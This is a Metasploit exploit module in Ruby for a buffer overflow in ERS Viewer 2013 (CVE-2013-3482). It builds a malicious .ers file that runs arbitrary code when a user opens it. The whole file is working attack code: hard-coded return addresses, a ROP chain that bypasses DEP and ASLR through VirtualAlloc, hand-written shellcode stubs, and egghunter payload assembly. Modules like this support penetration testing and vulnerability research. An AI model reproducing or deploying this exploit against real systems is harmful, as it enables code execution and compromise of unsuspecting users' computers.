require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Egghunter def initialize(info={}) super(update_info(info, 'Name' => "ERS Viewer 2013 ERS File Handling Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow vulnerability found in ERS Viewer 2013. The vulnerability exists in the module ermapper_u.dll, where the function rf_report_error handles user provided data in a insecure way. It results in arbitrary code execution under the context of the user viewing a specially crafted .ers file. This module has been tested successfully with ERS Viewer 2013 (versions 13.0.0.1151) on Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Fitts', # Vulnerability Discovery 'juan vazquez' # Metasploit ], 'References' => [ [ 'CVE', '2013-3482' ], [ 'OSVDB', '93650' ], [ 'URL', 'http://secunia.com/advisories/53620/' ] ], 'Payload' => { 'Space' => 4000, 'DisableNops' => true, }, 'DefaultOptions' => { 'ExitFunction' => "process", }, 'Platform' => 'win', 'Targets' => [ # Tested on Windows XP SP3 [ 'ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR', { 'Offset' => 191, 'Ret' => 0x100329E9 # jmp eax # from ermapper_u.dll } ], # Tested on Windows XP SP3 and Windows 7 SP1 [ 'ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass', { 'Offset' => 191, 'Ret' => 0x100E1152, # xchg eax, esp # ret # from ermapper_u.dll 'RetNull' => 0x30d07f00, # ret ending with null byte # from ethrlib.dll 'VirtualAllocPtr' => 0x1010c0f4 } ] ], 'Privileged' => false, 'DisclosureDate' => "May 23 2013", 'DefaultTarget' => 1)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ers']), ], self.class) end def create_rop_chain() # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x10082624, # POP EAX # RETN [ermapper_u.dll] 0x1010c0f4, # ptr to &VirtualAlloc() [IAT ermapper_u.dll] 0x1001a9c0, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ermapper_u.dll] 0x1005db36, # XCHG EAX,ESI # RETN [ermapper_u.dll] 0x10105d87, # POP EBX # RETN [ermapper_u.dll] 0xffffffff, # 0x30d059d9, # INC EBX # RETN [ethrlib.dll] 0x30d059d9, # INC EBX # RETN [ethrlib.dll] 0x100e9dd9, # POP EAX # RETN [ermapper_u.dll] 0xa2dbcf75, # put delta into eax (-> put 0x00001000 into edx) 0x1001aa04, # ADD EAX,5D24408B # RETN [ermapper_u.dll] 0x10016a98, # XCHG EAX,EDX # OR EAX,4C48300 # POP EDI # POP EBP # RETN [ermapper_u.dll] 0x10086d21, # RETN (ROP NOP) [ermapper_u.dll] 0x1001a148, # & push esp # ret [ermapper_u.dll] 0x10082624, # POP EAX # RETN [ermapper_u.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x100f687d, # NEG EAX # RETN [ermapper_u.dll] 0x1001e720, # XCHG EAX,ECX # ADC EAX,5DE58B10 # RETN [ermapper_u.dll] 0x100288b5, # POP EAX # RETN [ermapper_u.dll] 0x90909090, # nop 0x100e69e0, # PUSHAD # RETN [ermapper_u.dll] ].flatten.pack("V*") return rop_gadgets end # Restore the stack pointer in order to execute the final payload successfully def fix_stack pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18] # get teb pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset return pivot end # In the Windows 7 case, in order to bypass ASLR/DEP successfully, after finding # the payload on memory we can't jump there directly, but allocate executable memory # and jump there. Badchars: "\x0a\x0d\x00" def hunter_suffix(payload_length) # push flProtect (0x40) suffix = "\xB8\xC0\xFF\xFF\xFF" # mov eax, 0xffffffc0 suffix << "\xF7\xD8" # neg eax suffix << "\x50" # push eax # push flAllocationType (0x3000) suffix << "\x66\x05\xC0\x2F" # add ax, 0x2fc0 suffix << "\x50" # push eax # push dwSize (0x1000) suffix << "\x66\x2D\xFF\x1F" # sub ax, 0x1fff suffix << "\x48" # dec eax suffix << "\x50" # push eax # push lpAddress suffix << "\xB8\x0C\x0C\x0C\x0C" # mov eax, 0x0c0c0c0c suffix << "\x50" # push eax # Call VirtualAlloc suffix << "\xFF\x15" + [target['VirtualAllocPtr']].pack("V") # call ds:VirtualAlloc # Copy payload (edi) to Allocated memory (eax) suffix << "\x89\xFE" # mov esi, edi suffix << "\x89\xC7" # mov edi, eax suffix << "\x31\xC9" # xor ecx, ecx suffix << "\x66\x81\xC1" + [payload_length].pack("v") # add cx, payload_length suffix << "\xF3\xA4" # rep movsb # Jmp to the final payload (eax) suffix << "\xFF\xE0" # jmp eax return suffix end def exploit #These badchars do not apply to the final payload badchars = [0x0c, 0x0d, 0x0a].pack("C*") eggoptions = { :checksum => true, :eggtag => 'w00t' } my_payload = fix_stack + payload.encoded if target.name =~ /DEP & ASLR bypass/ # The payload length can't include NULL's in order to # build the stub which will copy the final payload to # executable memory while [my_payload.length].pack("v").include?("\x00") my_payload << rand_text(1) end end hunter,egg = generate_egghunter(my_payload, badchars, eggoptions) if target.name =~ /DEP & ASLR bypass/ hunter.gsub!(/\xff\xe7/, hunter_suffix(my_payload.length)) end if target.name =~ /NO DEP/ buf = rand_text_alpha(1) buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected buf << "AA" # EAX pointing to buf[5] prefixed with 0x00 after ret buf << hunter buf << rand_text_alpha(target['Offset'] - buf.length) buf << [target.ret].pack("V") # jmp eax buf << rand_text_alpha(8) buf << egg elsif target.name =~ /DEP & ASLR bypass/ buf = rand_text_alpha(1) buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected buf << [target['RetNull']].pack("V")[1,3] # EAX pointing to buf[5] prefixed with 0x00 after ret buf << create_rop_chain buf << hunter buf << rand_text_alpha(target['Offset'] - buf.length) buf << [target.ret].pack("V") # xchg eax, esp # ret buf << rand_text_alpha(8) buf << egg end ers = %Q| DatasetHeader Begin #{buf} End | file_create(ers) end end